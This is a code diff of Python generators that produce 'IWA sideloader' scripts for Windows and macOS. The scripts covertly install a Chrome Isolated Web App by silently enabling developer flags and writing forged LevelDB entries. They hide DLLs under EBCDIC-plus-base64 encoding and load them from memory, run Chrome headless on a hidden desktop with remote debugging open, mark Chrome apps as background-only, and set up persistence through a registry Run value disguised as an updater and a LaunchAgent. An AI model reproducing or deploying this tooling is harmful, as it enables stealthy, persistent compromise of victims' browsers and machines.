||||
desktop_guid = str(uuid.uuid4())
|
||||
|
||||
# Read the template files
|
||||
script_dir = os.path.dirname(os.path.abspath(__file__))
|
||||
with open(os.path.join(script_dir, 'initializeIWAChrome.ps1'), 'r') as f:
|
||||
init_script = f.read()
|
||||
with open(os.path.join(script_dir, 'writeLevelDb.ps1'), 'r') as f:
|
||||
leveldb_script = f.read()
|
||||
|
||||
# Read the HiddenDesktopNative DLL and encode as base64
|
||||
dll_path = os.path.join(script_dir, 'HiddenDesktopNative', 'dist', 'ProcessHelper.dll')
|
||||
with open(dll_path, 'rb') as f:
|
||||
dll_data = encode_dll_to_ebcdic_base64(dll_path)
|
||||
|
||||
# Read the RegHelper DLL and encode as base64
|
||||
reghelper_dll_path = os.path.join(script_dir, 'RegHelper', 'dist', 'RegHelper.dll')
|
||||
with open(reghelper_dll_path, 'rb') as f:
|
||||
reghelper_dll_data = encode_dll_to_ebcdic_base64(reghelper_dll_path)
|
||||
|
||||
# Read the memory DLL loader script
|
||||
with open(os.path.join(script_dir, 'decodeAndLoadModule.ps1'), 'r') as f:
|
||||
module_loader_script = f.read()
|
||||
|
||||
# Read the Chrome IWA Start Script
|
||||
with open(os.path.join(script_dir, 'startIWAApp.ps1'), 'r') as f:
|
||||
start_script = f.read()
|
||||
|
||||
|
||||
# Create the combined script
|
||||
script = f"""
|
||||
# Generated IWA Sideloader Script
|
||||
# App ID: {app_id}
|
||||
# App Name: {IWA_APP_NAME}
|
||||
# IWA Folder: {iwa_folder_name}
|
||||
|
||||
$env:APP_NAME = "{IWA_APP_NAME}"
|
||||
|
||||
$bundleData = @"
|
||||
{bundle_data}
|
||||
"@
|
||||
|
||||
# Extract the ProcessHelper.dll to the current directory
|
||||
$assemblyName = "ProcessHelper"
|
||||
$assemblyBytesBase64 = @"
|
||||
{dll_data}
|
||||
"@
|
||||
|
||||
# RegHelper.dll data for registry operations
|
||||
$regHelperAssemblyBytesBase64 = @"
|
||||
{reghelper_dll_data}
|
||||
"@
|
||||
|
||||
# Create Directory at $appPath
|
||||
$appPath = Join-Path $env:LOCALAPPDATA $env:APP_NAME
|
||||
New-Item -Path $appPath -ItemType Directory -Force
|
||||
|
||||
# Include the module loader script
|
||||
{module_loader_script}
|
||||
|
||||
# Use a shared desktop name for both Chrome instances
|
||||
$sharedDesktopName = "Desktop_{desktop_guid}"
|
||||
Write-Host "Using shared hidden desktop: $sharedDesktopName"
|
||||
|
||||
# Call the function to decode and load the ProcessHelper module
|
||||
$dllPath = Join-Path $appPath "ProcessHelper.dll"
|
||||
$moduleLoaded = Decode-And-Load-Module -assemblyBytesBase64 $assemblyBytesBase64 -dllPath $dllPath
|
||||
|
||||
if (-not $moduleLoaded) {{
|
||||
Write-Error "Failed to load the ProcessHelper module. Exiting."
|
||||
exit 1
|
||||
}}
|
||||
|
||||
# Decode and load the RegHelper module
|
||||
$regHelperDllPath = Join-Path $appPath "RegHelper.dll"
|
||||
$regHelperModuleLoaded = Decode-And-Load-Module -assemblyBytesBase64 $regHelperAssemblyBytesBase64 -dllPath $regHelperDllPath
|
||||
|
||||
if (-not $regHelperModuleLoaded) {{
|
||||
Write-Error "Failed to load the RegHelper module. Exiting."
|
||||
exit 1
|
||||
}}
|
||||
|
||||
# First initialize Chrome with IWA settings
|
||||
{init_script}
|
||||
|
||||
# Then handle LevelDB operations
|
||||
{leveldb_script}
|
||||
|
||||
# Move ProcessHelper.dll to the app directory
|
||||
Move-Item -Path $dllPath -Destination $appPath
|
||||
|
||||
# Move RegHelper.dll to the app directory
|
||||
Move-Item -Path $regHelperDllPath -Destination $appPath
|
||||
|
||||
# Override Initialize-IWADirectory to use embedded bundle data
|
||||
function Initialize-IWADirectory {{
|
||||
param (
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$AppInternalName
|
||||
)
|
||||
|
||||
$userDataDir = Join-Path $env:LOCALAPPDATA $env:APP_NAME
|
||||
$iwaDir = Join-Path $userDataDir "Default\\iwa\\$AppInternalName"
|
||||
|
||||
# Create directories if they don't exist
|
||||
New-Item -ItemType Directory -Force -Path $iwaDir | Out-Null
|
||||
|
||||
# Write bundle data
|
||||
$bundleBytes = [Convert]::FromBase64String($bundleData)
|
||||
[System.IO.File]::WriteAllBytes((Join-Path $iwaDir "main.swbn"), $bundleBytes)
|
||||
}}
|
||||
|
||||
# Initialize IWA directory
|
||||
Initialize-IWADirectory -AppInternalName "{iwa_folder_name}"
|
||||
|
||||
# Write LevelDB entry
|
||||
$logPath = Get-LevelDBLogFilePath
|
||||
Write-Output "Log Path: $logPath"
|
||||
Write-LevelDBEntry -FilePath $logPath -SequenceNumber 99 -Key "web_apps-dt-{app_id}" -ValueHex "{protobuf_hex}"
|
||||
|
||||
Write-Output "Launching Chrome for IWA ({app_id}) at Path $env:CHROME_PATH"
|
||||
$env:IWA_APP_ID = "{app_id}"
|
||||
|
||||
# Prepare the start script with proper variable handling
|
||||
$startScriptPath = Join-Path $env:LOCALAPPDATA $env:APP_NAME
|
||||
$startScriptPath = Join-Path $startScriptPath "startIWAApp.ps1"
|
||||
|
||||
# Create the script content as a simple string
|
||||
$startScriptContent = "# Environment variables for IWA app `n"
|
||||
$startScriptContent += "`$env:CHROME_PATH = `"$env:CHROME_PATH`" `n"
|
||||
$startScriptContent += "`$env:USER_DATA_DIR = `"$env:USER_DATA_DIR`" `n"
|
||||
$startScriptContent += "`$env:APP_NAME = `"$env:APP_NAME`" `n"
|
||||
$startScriptContent += "`$env:IWA_APP_ID = `"$env:IWA_APP_ID`" `n"
|
||||
$startScriptContent += "`$sharedDesktopName = `"$sharedDesktopName`" `n"
|
||||
$startScriptContent += "`n# Start script content`n"
|
||||
$startScriptContent += @'
|
||||
{start_script}
|
||||
'@
|
||||
|
||||
Write-Host "Writing start script to: $startScriptPath"
|
||||
[System.IO.File]::WriteAllText($startScriptPath, $startScriptContent)
|
||||
|
||||
# Now run the start script
|
||||
Write-Host "Running the IWA app..."
|
||||
& $startScriptPath
|
||||
|
||||
# Setup persistence using the RegHelper module
|
||||
Write-Host "`nSetting up persistence using copy-and-replace registry strategy..." -ForegroundColor Cyan
|
||||
|
||||
# Define persistence parameters
|
||||
$persistenceValueName = "{IWA_APP_NAME}.Updater"
|
||||
$persistenceValueData = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$startScriptPath`""
|
||||
|
||||
# Execute the persistence setup using the RegHelper module
|
||||
try {{
|
||||
Invoke-RegistryPersistence -PersistenceValueName $persistenceValueName -PersistenceValueData $persistenceValueData
|
||||
}} catch {{
|
||||
Write-Error "Failed to setup persistence: $($_.Exception.Message)"
|
||||
throw
|
||||
}}
|
||||
"""
|
||||
|
||||
with open(output_path, 'w') as f:
|
||||
f.write(script)
|
||||
|
||||
print(f"\nGenerated sideloader script: {output_path}")
|
||||
print(f"Using shared desktop name: Desktop_{desktop_guid}")
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser = argparse.ArgumentParser(description='Generate platform-specific IWA sideloader scripts')
|
||||
parser.add_argument('bundle_path', help='Path to the .swbn bundle file')
|
||||
parser.add_argument('--output', help='Output path for the sideloader script')
|
||||
parser.add_argument('--appname', help='Override the default IWA app name (default: DOORKNOB)')
|
||||
parser.add_argument('--platform', choices=['windows', 'macos'], default='windows',
|
||||
help='Target platform for the sideloader (default: windows)')
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
@@ -324,12 +39,23 @@ def main():
|
||||
if not os.path.exists(args.bundle_path):
|
||||
raise FileNotFoundError(f"Bundle file not found: {args.bundle_path}")
|
||||
|
||||
# Use provided app_name if available, otherwise use default
|
||||
app_name = args.appname if args.appname else IWA_APP_NAME
|
||||
|
||||
# Generate default output path if not specified
|
||||
if not args.output:
|
||||
bundle_name = os.path.splitext(os.path.basename(args.bundle_path))[0]
|
||||
args.output = f"{bundle_name}-sideloader.ps1"
|
||||
extension = ".ps1" if args.platform == "windows" else ".sh"
|
||||
args.output = f"{bundle_name}-sideloader-{args.platform}{extension}"
|
||||
|
||||
generate_powershell_script(args.bundle_path, args.output, args.appname)
|
||||
# Create the appropriate sideloader instance
|
||||
if args.platform == "windows":
|
||||
sideloader = WindowsSideloader(args.bundle_path, app_name)
|
||||
else: # macos
|
||||
sideloader = MacOSSideloader(args.bundle_path, app_name)
|
||||
|
||||
# Generate the script
|
||||
sideloader.generate_script(args.output)
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error: {e}", file=sys.stderr)
|
||||
|
||||
@@ -0,0 +1,492 @@
|
||||
import os
|
||||
from base_sideloader import BaseSideloader
|
||||
|
||||
|
||||
class MacOSSideloader(BaseSideloader):
|
||||
"""macOS-specific sideloader implementation using bash and osascript."""
|
||||
|
||||
def get_platform_config(self):
|
||||
"""Return macOS-specific configuration."""
|
||||
return {
|
||||
'chrome_paths': [
|
||||
"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
|
||||
],
|
||||
'base_data_dir': "$HOME/Library/Application Support",
|
||||
'chrome_profile_path': "Default",
|
||||
'iwa_path_separator': "/",
|
||||
'leveldb_path': "Default/Sync Data/LevelDB"
|
||||
}
|
||||
|
||||
def generate_script(self, output_path):
|
||||
"""Generate the macOS bash script sideloader."""
|
||||
config = self.get_platform_config()
|
||||
|
||||
# Create the macOS shell script using string concatenation to avoid f-string issues
|
||||
script_header = f'''#!/bin/bash
|
||||
|
||||
# Generated IWA Sideloader Script for macOS
|
||||
# App ID: {self.app_id}
|
||||
# App Name: {self.app_name}
|
||||
# IWA Tab: {self.iwa_tab_url}
|
||||
# IWA Folder: {self.iwa_folder_name}
|
||||
|
||||
set -e
|
||||
|
||||
export APP_NAME="{self.app_name}"
|
||||
|
||||
# Base64 encoded bundle data
|
||||
BUNDLE_DATA="{self.bundle_data}"
|
||||
|
||||
# Function to find Chrome installation
|
||||
find_chrome() {{
|
||||
local chrome_path="{config['chrome_paths'][0]}"
|
||||
if [[ -f "$chrome_path" ]]; then
|
||||
echo "$chrome_path"
|
||||
return 0
|
||||
fi
|
||||
|
||||
echo "Error: Chrome not found at $chrome_path" >&2
|
||||
exit 1
|
||||
}}
|
||||
|
||||
# CRC32C implementation ported from PowerShell
|
||||
# Initialize CRC32C lookup table
|
||||
init_crc32c_table() {{
|
||||
local polynomial=0x82F63B78
|
||||
local i j crc
|
||||
|
||||
# Create lookup table array
|
||||
for ((i=0; i<256; i++)); do
|
||||
crc=$i
|
||||
for ((j=0; j<8; j++)); do
|
||||
if (( (crc & 1) == 1 )); then
|
||||
crc=$(( (crc >> 1) ^ polynomial ))
|
||||
else
|
||||
crc=$(( crc >> 1 ))
|
||||
fi
|
||||
done
|
||||
CRC32C_TABLE[$i]=$crc
|
||||
done
|
||||
}}
|
||||
|
||||
# XOR operation for CRC32C (equivalent to PowerShell DoMath function)
|
||||
do_xor() {{
|
||||
local val1=$1
|
||||
local val2=$2
|
||||
echo $(( val1 ^ val2 ))
|
||||
}}
|
||||
|
||||
# Calculate CRC32C hash
|
||||
get_crc32c() {{
|
||||
local hex_data="$1"
|
||||
local crc=0xFFFFFFFF
|
||||
local byte_val temp index shifted
|
||||
|
||||
# Convert hex string to bytes and process each byte
|
||||
for ((i=0; i<${{#hex_data}}; i+=2)); do
|
||||
byte_val="0x${{hex_data:$i:2}}"
|
||||
temp=$(do_xor $crc $byte_val)
|
||||
index=$(( temp & 0xFF ))
|
||||
shifted=$(( crc >> 8 ))
|
||||
crc=$(do_xor ${{CRC32C_TABLE[$index]}} $shifted)
|
||||
crc=$(( crc & 0xFFFFFFFF ))
|
||||
done
|
||||
|
||||
crc=$(do_xor $crc 0xFFFFFFFF)
|
||||
echo $crc
|
||||
}}
|
||||
|
||||
# Mask CRC32C (equivalent to PowerShell Mask-CRC32C)
|
||||
mask_crc32c() {{
|
||||
local crc=$1
|
||||
local K_MASK_DELTA=0xA282EAD8
|
||||
|
||||
local right_shift=$(( crc >> 15 ))
|
||||
local left_shift=$(( (crc << 17) & 0xFFFFFFFF ))
|
||||
local rotated=$(( right_shift | left_shift ))
|
||||
|
||||
local masked=$(( (rotated + K_MASK_DELTA) & 0xFFFFFFFF ))
|
||||
echo $masked
|
||||
}}
|
||||
|
||||
# Convert uint32 to little-endian hex
|
||||
to_little_endian_hex() {{
|
||||
local value=$1
|
||||
printf "%02x%02x%02x%02x" \\
|
||||
$(( value & 0xFF )) \\
|
||||
$(( (value >> 8) & 0xFF )) \\
|
||||
$(( (value >> 16) & 0xFF )) \\
|
||||
$(( (value >> 24) & 0xFF ))
|
||||
}}
|
||||
|
||||
# Calculate LevelDB hash
|
||||
calc_leveldb_hash() {{
|
||||
local data="$1"
|
||||
local crc32c_hash=$(get_crc32c "$data")
|
||||
local masked_crc32c=$(mask_crc32c $crc32c_hash)
|
||||
to_little_endian_hex $masked_crc32c
|
||||
}}
|
||||
|
||||
# Convert integer to VarInt32 format
|
||||
to_varint32() {{
|
||||
local value=$1
|
||||
local result=""
|
||||
local byte
|
||||
|
||||
if [[ $value -eq 0 ]]; then
|
||||
echo "00"
|
||||
return
|
||||
fi
|
||||
|
||||
while [[ $value -ne 0 ]]; do
|
||||
byte=$(( value & 0x7F ))
|
||||
value=$(( value >> 7 ))
|
||||
|
||||
if [[ $value -ne 0 ]]; then
|
||||
byte=$(( byte | 0x80 ))
|
||||
fi
|
||||
|
||||
result="$result$(printf "%02x" $byte)"
|
||||
done
|
||||
|
||||
echo "$result"
|
||||
}}
|
||||
|
||||
# Convert string to hex
|
||||
string_to_hex() {{
|
||||
local str="$1"
|
||||
echo -n "$str" | xxd -p | tr -d '\\n'
|
||||
}}
|
||||
|
||||
# Create complete LevelDB entry
|
||||
create_leveldb_entry() {{
|
||||
local sequence_number=$1
|
||||
local key="$2"
|
||||
local value_hex="$3"
|
||||
|
||||
# 1. Create Record Format Entry
|
||||
local key_hex=$(string_to_hex "$key")
|
||||
local key_length=$(to_varint32 ${{#key}})
|
||||
local value_length=$(to_varint32 $(( ${{#value_hex}} / 2 )))
|
||||
|
||||
# Clean value hex (remove any spaces)
|
||||
local clean_value_hex=$(echo "$value_hex" | tr -d ' ')
|
||||
|
||||
local record_entry="01${{key_length}}${{key_hex}}${{value_length}}${{clean_value_hex}}"
|
||||
|
||||
# 2. Create Batch Header (8 bytes sequence + 4 bytes count)
|
||||
local seq_hex=$(printf "%016x" $sequence_number)
|
||||
# Convert to little-endian byte order
|
||||
local seq_le=""
|
||||
for ((i=14; i>=0; i-=2)); do
|
||||
seq_le="$seq_le${{seq_hex:$i:2}}"
|
||||
done
|
||||
local count_hex="01000000" # 1 record in little-endian
|
||||
local batch_header="${{seq_le}}${{count_hex}}"
|
||||
|
||||
# 3. Calculate LevelDB Hash
|
||||
local data_to_hash="01${{batch_header}}${{record_entry}}"
|
||||
local hash=$(calc_leveldb_hash "$data_to_hash")
|
||||
|
||||
# 4. Calculate content length
|
||||
local content_length=$(( (${{#batch_header}} + ${{#record_entry}}) / 2 ))
|
||||
local length_hex_be=$(printf "%04x" $content_length)
|
||||
# Convert to little-endian
|
||||
local length_hex="${{length_hex_be:2:2}}${{length_hex_be:0:2}}"
|
||||
|
||||
# 5. Combine all parts
|
||||
local final_hex="${{hash}}${{length_hex}}01${{batch_header}}${{record_entry}}"
|
||||
echo "$final_hex"
|
||||
}}
|
||||
|
||||
# Write LevelDB entry to file
|
||||
write_leveldb_entry() {{
|
||||
local log_file="$1"
|
||||
local key="$2"
|
||||
local value_hex="$3"
|
||||
local sequence_number="$4"
|
||||
|
||||
local entry=$(create_leveldb_entry "$sequence_number" "$key" "$value_hex")
|
||||
|
||||
# Convert hex to binary and append to log file
|
||||
echo -n "$entry" | xxd -r -p >> "$log_file"
|
||||
}}
|
||||
|
||||
# Initialize CRC32C lookup table
|
||||
declare -a CRC32C_TABLE
|
||||
init_crc32c_table
|
||||
|
||||
# Set up paths
|
||||
CHROME_PATH=$(find_chrome)
|
||||
BASE_DATA_DIR="{config['base_data_dir']}"
|
||||
USER_DATA_DIR="$BASE_DATA_DIR/$APP_NAME"
|
||||
IWA_DIR="$USER_DATA_DIR/{config['chrome_profile_path']}/iwa/{self.iwa_folder_name}"
|
||||
LEVELDB_DIR="$USER_DATA_DIR/{config['leveldb_path']}"
|
||||
|
||||
echo "Chrome found at: $CHROME_PATH"
|
||||
echo "User data directory: $USER_DATA_DIR"
|
||||
|
||||
# Create necessary directories
|
||||
mkdir -p "$LEVELDB_DIR"
|
||||
|
||||
# Initialize Chrome with IWA settings
|
||||
LOCAL_STATE_FILE="$USER_DATA_DIR/Local State"
|
||||
|
||||
# Create Local State file if it doesn't exist
|
||||
if [[ ! -f "$LOCAL_STATE_FILE" ]]; then
|
||||
cat > "$LOCAL_STATE_FILE" << 'EOF'
|
||||
{{
|
||||
"browser": {{
|
||||
"default_browser_infobar_declined_count": 1,
|
||||
"default_browser_infobar_last_declined_time": 0,
|
||||
"enabled_labs_experiments": [
|
||||
"enable-isolated-web-app-dev-mode@1",
|
||||
"enable-isolated-web-apps@1"
|
||||
],
|
||||
"first_run_finished": true
|
||||
}}
|
||||
}}
|
||||
EOF
|
||||
else
|
||||
# Update existing Local State file using pure bash JSON manipulation
|
||||
echo "Updating existing Local State file..."
|
||||
|
||||
# Create a backup
|
||||
cp "$LOCAL_STATE_FILE" "$LOCAL_STATE_FILE.backup"
|
||||
|
||||
# Read the existing file
|
||||
local_state_content=$(cat "$LOCAL_STATE_FILE")
|
||||
|
||||
# Check if the file has valid JSON structure
|
||||
if ! echo "$local_state_content" | grep -q "^{{"; then
|
||||
echo "Invalid JSON format, recreating file..."
|
||||
cat > "$LOCAL_STATE_FILE" << 'EOF'
|
||||
{{
|
||||
"browser": {{
|
||||
"default_browser_infobar_declined_count": 1,
|
||||
"default_browser_infobar_last_declined_time": 0,
|
||||
"enabled_labs_experiments": [
|
||||
"enable-isolated-web-app-dev-mode@1",
|
||||
"enable-isolated-web-apps@1"
|
||||
],
|
||||
"first_run_finished": true
|
||||
}}
|
||||
}}
|
||||
EOF
|
||||
else
|
||||
# Use sed to update the JSON file
|
||||
temp_file=$(mktemp)
|
||||
|
||||
# First, ensure we have a browser section
|
||||
if ! echo "$local_state_content" | grep -q '"browser"'; then
|
||||
# Add browser section if it doesn't exist
|
||||
echo "$local_state_content" | sed 's/^{{/{{\"browser\":{{}},/' > "$temp_file"
|
||||
local_state_content=$(cat "$temp_file")
|
||||
fi
|
||||
|
||||
# Remove existing enabled_labs_experiments if present
|
||||
echo "$local_state_content" | sed '/"enabled_labs_experiments"/,/]/d' > "$temp_file"
|
||||
|
||||
# Remove existing first_run_finished if present
|
||||
sed -i '' '/"first_run_finished"/d' "$temp_file"
|
||||
|
||||
# Add our required settings before the closing browser brace
|
||||
# Find the browser section and add our settings
|
||||
if grep -q '"browser".*{{' "$temp_file"; then
|
||||
# Add the settings after the browser opening brace
|
||||
sed -i '' '/"browser".*{{/a\\
|
||||
"enabled_labs_experiments": [\\
|
||||
"enable-isolated-web-app-dev-mode@1",\\
|
||||
"enable-isolated-web-apps@1"\\
|
||||
],\\
|
||||
"first_run_finished": true,' "$temp_file"
|
||||
else
|
||||
# Fallback: recreate the file
|
||||
cat > "$temp_file" << 'EOF'
|
||||
{{
|
||||
"browser": {{
|
||||
"default_browser_infobar_declined_count": 1,
|
||||
"default_browser_infobar_last_declined_time": 0,
|
||||
"enabled_labs_experiments": [
|
||||
"enable-isolated-web-app-dev-mode@1",
|
||||
"enable-isolated-web-apps@1"
|
||||
],
|
||||
"first_run_finished": true
|
||||
}}
|
||||
}}
|
||||
EOF
|
||||
fi
|
||||
|
||||
# Clean up any duplicate commas and format issues
|
||||
sed -i '' 's/,,/,/g' "$temp_file"
|
||||
sed -i '' 's/,}}/}}/g' "$temp_file"
|
||||
|
||||
# Copy the result back
|
||||
cp "$temp_file" "$LOCAL_STATE_FILE"
|
||||
rm -f "$temp_file"
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "Chrome Local State configured for IWA support"
|
||||
|
||||
# Find the latest LevelDB log file
|
||||
LEVELDB_LOG_FILE=$(ls -t "$LEVELDB_DIR"/*.log 2>/dev/null | head -n1)
|
||||
|
||||
if [[ -z "$LEVELDB_LOG_FILE" ]]; then
|
||||
# If no log file exists, start Chrome briefly to create the database structure
|
||||
echo "Initializing Chrome profile..."
|
||||
|
||||
CHROME_ARGS=(
|
||||
--allow-no-sandbox-job
|
||||
--disable-3d-apis
|
||||
--disable-gpu
|
||||
--disable-d3d11
|
||||
--disable-accelerated-layers
|
||||
--disable-accelerated-plugins
|
||||
--disable-accelerated-2d-canvas
|
||||
--disable-deadline-scheduling
|
||||
--disable-ui-deadline-scheduling
|
||||
--user-data-dir="$USER_DATA_DIR"
|
||||
--profile-directory=Default
|
||||
)
|
||||
|
||||
# Start Chrome briefly in the background
|
||||
"$CHROME_PATH" "${{CHROME_ARGS[@]}}" --headless --disable-gpu --remote-debugging-port=9222 &
|
||||
CHROME_PID=$!
|
||||
|
||||
# Wait for Chrome to initialize
|
||||
sleep 5
|
||||
|
||||
# Kill Chrome
|
||||
kill $CHROME_PID 2>/dev/null || true
|
||||
wait $CHROME_PID 2>/dev/null || true
|
||||
|
||||
# Wait for files to be written
|
||||
sleep 2
|
||||
|
||||
# Find the log file again
|
||||
LEVELDB_LOG_FILE=$(ls -t "$LEVELDB_DIR"/*.log 2>/dev/null | head -n1)
|
||||
fi
|
||||
|
||||
if [[ -n "$LEVELDB_LOG_FILE" ]]; then
|
||||
echo "Writing LevelDB entry to: $LEVELDB_LOG_FILE"
|
||||
'''
|
||||
|
||||
# Now add the dynamic parts
|
||||
script_middle = f''' write_leveldb_entry "$LEVELDB_LOG_FILE" "web_apps-dt-{self.app_id}" "{self.protobuf_hex}" 99
|
||||
echo "LevelDB entry written successfully"
|
||||
else
|
||||
echo "Warning: Could not find or create LevelDB log file"
|
||||
fi
|
||||
|
||||
# Write bundle data to IWA directory
|
||||
mkdir -p "$IWA_DIR"
|
||||
echo -n "$BUNDLE_DATA" | base64 -d > "$IWA_DIR/main.swbn"
|
||||
echo "Bundle written to: $IWA_DIR/main.swbn"
|
||||
|
||||
# Create a simple start script for later use
|
||||
START_SCRIPT="$USER_DATA_DIR/start_iwa.sh"
|
||||
cat > "$START_SCRIPT" << 'STARTEOF'
|
||||
#!/bin/bash
|
||||
CHROME_PATH="/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
|
||||
USER_DATA_DIR="$HOME/Library/Application Support/{self.app_name}"
|
||||
|
||||
# Use an array for proper handling of spaces
|
||||
CHROME_ARGS=(
|
||||
--allow-no-sandbox-job
|
||||
--disable-3d-apis
|
||||
--disable-gpu
|
||||
--disable-d3d11
|
||||
--disable-accelerated-layers
|
||||
--disable-accelerated-plugins
|
||||
--disable-accelerated-2d-canvas
|
||||
--disable-deadline-scheduling
|
||||
--disable-ui-deadline-scheduling
|
||||
--user-data-dir="$USER_DATA_DIR"
|
||||
--profile-directory=Default
|
||||
)
|
||||
|
||||
nohup "$CHROME_PATH" "${{CHROME_ARGS[@]}}" --headless --remote-debugging-port=9222 > /dev/null 2>&1 &
|
||||
CHROME_PID=$!
|
||||
echo "IWA launched with PID: $CHROME_PID"
|
||||
sleep 10
|
||||
|
||||
# Modify Chrome Apps Info.plist files to run in background
|
||||
CHROME_APPS_DIR="$HOME/Applications/Chrome Apps.localized"
|
||||
if [[ -d "$CHROME_APPS_DIR" ]]; then
|
||||
echo "Modifying Chrome Apps Info.plist files..."
|
||||
find "$CHROME_APPS_DIR" -name "Info.plist" -type f | while read -r plist_file; do
|
||||
echo "Processing: $plist_file"
|
||||
|
||||
# Create a backup
|
||||
cp "$plist_file" "$plist_file.backup" 2>/dev/null || true
|
||||
|
||||
# Check if the plist already has our modifications
|
||||
if ! grep -q "LSUIElement" "$plist_file" 2>/dev/null; then
|
||||
# Use PlistBuddy to add the keys (more reliable than sed for plist files)
|
||||
/usr/libexec/PlistBuddy -c "Add :LSUIElement bool true" "$plist_file" 2>/dev/null || true
|
||||
/usr/libexec/PlistBuddy -c "Add :LSBackgroundOnly bool true" "$plist_file" 2>/dev/null || true
|
||||
echo " Added background keys to $plist_file"
|
||||
else
|
||||
echo " Background keys already present in $plist_file"
|
||||
fi
|
||||
done
|
||||
echo "Chrome Apps Info.plist modification completed"
|
||||
else
|
||||
echo "Chrome Apps directory not found: $CHROME_APPS_DIR"
|
||||
fi
|
||||
|
||||
curl -s -X PUT "http://localhost:9222/json/new?{self.iwa_tab_url}"
|
||||
wait $CHROME_PID
|
||||
STARTEOF
|
||||
|
||||
|
||||
chmod +x "$START_SCRIPT"
|
||||
echo "Start script created at: $START_SCRIPT"
|
||||
|
||||
# Setup persistence using launchd (macOS equivalent of Windows startup)
|
||||
echo "Setting up persistence..."
|
||||
|
||||
PLIST_FILE="$HOME/Library/LaunchAgents/com.{self.app_name.lower()}.iwa.plist"
|
||||
cat > "$PLIST_FILE" << PLISTEOF
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>com.{self.app_name.lower()}.iwa</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>/bin/bash</string>
|
||||
<string>$START_SCRIPT</string>
|
||||
</array>
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
<key>KeepAlive</key>
|
||||
<false/>
|
||||
<key>LSUIElement</key>
|
||||
<true/>
|
||||
<key>LSBackgroundOnly</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
PLISTEOF
|
||||
|
||||
# Load the launch agent
|
||||
launchctl load "$PLIST_FILE" 2>/dev/null || true
|
||||
|
||||
echo "Persistence configured using launchd"
|
||||
echo "Sideloader setup completed successfully!"
|
||||
'''
|
||||
|
||||
# Combine all parts
|
||||
script = script_header + script_middle
|
||||
|
||||
with open(output_path, 'w') as f:
|
||||
f.write(script)
|
||||
|
||||
# Make the script executable
|
||||
os.chmod(output_path, 0o755)
|
||||
|
||||
print(f"\nGenerated macOS sideloader script: {output_path}")
|
||||
print("Script has been made executable")
|
||||
@@ -0,0 +1,222 @@
|
||||
import os
|
||||
import base64
|
||||
import uuid
|
||||
from base_sideloader import BaseSideloader
|
||||
|
||||
|
||||
class WindowsSideloader(BaseSideloader):
|
||||
"""Windows-specific sideloader implementation using PowerShell."""
|
||||
|
||||
def get_platform_config(self):
|
||||
"""Return Windows-specific configuration."""
|
||||
return {
|
||||
'chrome_paths': [
|
||||
"${env:ProgramFiles}\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"${env:ProgramFiles(x86)}\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"${env:LocalAppData}\\Google\\Chrome\\Application\\chrome.exe"
|
||||
],
|
||||
'base_data_dir': "${env:LOCALAPPDATA}",
|
||||
'chrome_profile_path': "Default",
|
||||
'iwa_path_separator': "\\",
|
||||
'leveldb_path': "Default\\Sync Data\\LevelDB"
|
||||
}
|
||||
|
||||
def encode_dll_to_ebcdic_base64(self, file_path):
|
||||
"""
|
||||
Reads a DLL file, encodes it using EBCDIC encoding, then base64 encodes it.
|
||||
|
||||
Args:
|
||||
file_path: Path to the DLL file
|
||||
|
||||
Returns:
|
||||
Base64 encoded string of the EBCDIC encoded DLL
|
||||
"""
|
||||
try:
|
||||
# Check if file exists
|
||||
if not os.path.exists(file_path):
|
||||
print(f"Error: File not found at {file_path}")
|
||||
return None
|
||||
|
||||
# Read the binary content of the DLL
|
||||
with open(file_path, 'rb') as file:
|
||||
dll_bytes = file.read()
|
||||
|
||||
# Convert binary to EBCDIC encoding
|
||||
# Using cp037 which is the Python codec for EBCDIC (US/Canada)
|
||||
ebcdic_encoded = dll_bytes.decode('latin-1').encode('cp037')
|
||||
|
||||
# Base64 encode the EBCDIC encoded bytes
|
||||
base64_encoded = base64.b64encode(ebcdic_encoded).decode('ascii')
|
||||
|
||||
return base64_encoded
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error: {str(e)}")
|
||||
return None
|
||||
|
||||
def generate_script(self, output_path):
|
||||
"""Generate the Windows PowerShell sideloader script."""
|
||||
# Generate a GUID for the desktop name
|
||||
desktop_guid = self.generate_guid()
|
||||
|
||||
# Read the template files
|
||||
script_dir = os.path.dirname(os.path.abspath(__file__))
|
||||
with open(os.path.join(script_dir, 'initializeIWAChrome.ps1'), 'r') as f:
|
||||
init_script = f.read()
|
||||
with open(os.path.join(script_dir, 'writeLevelDb.ps1'), 'r') as f:
|
||||
leveldb_script = f.read()
|
||||
|
||||
# Read the HiddenDesktopNative DLL and encode as base64
|
||||
dll_path = os.path.join(script_dir, 'HiddenDesktopNative', 'dist', 'ProcessHelper.dll')
|
||||
dll_data = self.encode_dll_to_ebcdic_base64(dll_path)
|
||||
|
||||
# Read the RegHelper DLL and encode as base64
|
||||
reghelper_dll_path = os.path.join(script_dir, 'RegHelper', 'dist', 'RegHelper.dll')
|
||||
reghelper_dll_data = self.encode_dll_to_ebcdic_base64(reghelper_dll_path)
|
||||
|
||||
# Read the memory DLL loader script
|
||||
with open(os.path.join(script_dir, 'decodeAndLoadModule.ps1'), 'r') as f:
|
||||
module_loader_script = f.read()
|
||||
|
||||
# Read the Chrome IWA Start Script
|
||||
with open(os.path.join(script_dir, 'startIWAApp.ps1'), 'r') as f:
|
||||
start_script = f.read()
|
||||
|
||||
# Create the combined script
|
||||
script = f"""
|
||||
# Generated IWA Sideloader Script for Windows
|
||||
# App ID: {self.app_id}
|
||||
# App Name: {self.app_name}
|
||||
